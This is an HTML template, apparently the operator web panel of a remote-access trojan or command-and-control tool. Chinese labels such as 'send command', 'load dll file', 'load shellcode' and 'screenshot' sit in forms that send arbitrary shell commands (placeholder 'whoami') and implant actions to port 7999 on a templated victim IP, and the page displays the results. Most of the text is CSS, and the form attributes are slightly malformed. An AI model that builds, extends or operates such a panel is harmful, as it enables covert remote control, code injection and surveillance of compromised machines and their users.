<!-- 引入 Axios 库 -->
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>

<!-- edit.html -->

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Edit Page</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        .container {
            background-color: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 400px;
        }

        h1 {
            text-align: center;
            color: #333;
        }

        form {
            margin-top: 20px;
        }

        textarea {
            width: 100%;
            height: 100px;
            resize: none;
            margin-bottom: 10px;
        }

        .btn-group {
            display: flex;
            justify-content: space-between;
        }

        .btn {
            flex: 1;
            padding: 10px;
            margin: 0 5px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        .btn-confirm {
            background-color: #4caf50;
            color: #fff;
        }

        .btn-cancel {
            background-color: #e74c3c;
            color: #fff;
        }

        .btn-reset {
            background-color: #3498db;
            color: #fff;
        }

        #result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>发送命令</h1>

    <form action="http://{{ .ip }}:7999/execute/",method="get">
        <textarea id="commandInput" placeholder="whoami" name="cmd"></textarea>
        <div class="btn-group">
            <input type="submit">
        </div>
    </form>

    <form action="http://{{ .ip }}:7999/other",method="get">
        <div class="btn-group">
           <input type="radio"  name="loadDll">
            <label>加载dll文件</label>
            <input type="radio"  name="loadShellcode">
            <label>加载shellcode</label>
            <input type="radio"  name="screenShot">
            <label>屏幕截图</label>
            <input type="submit">
        </div>
    </form>

    <!-- 显示结果的 div -->
    <div id="result">{{ .result }}</div>
</div>

</body>
</html>
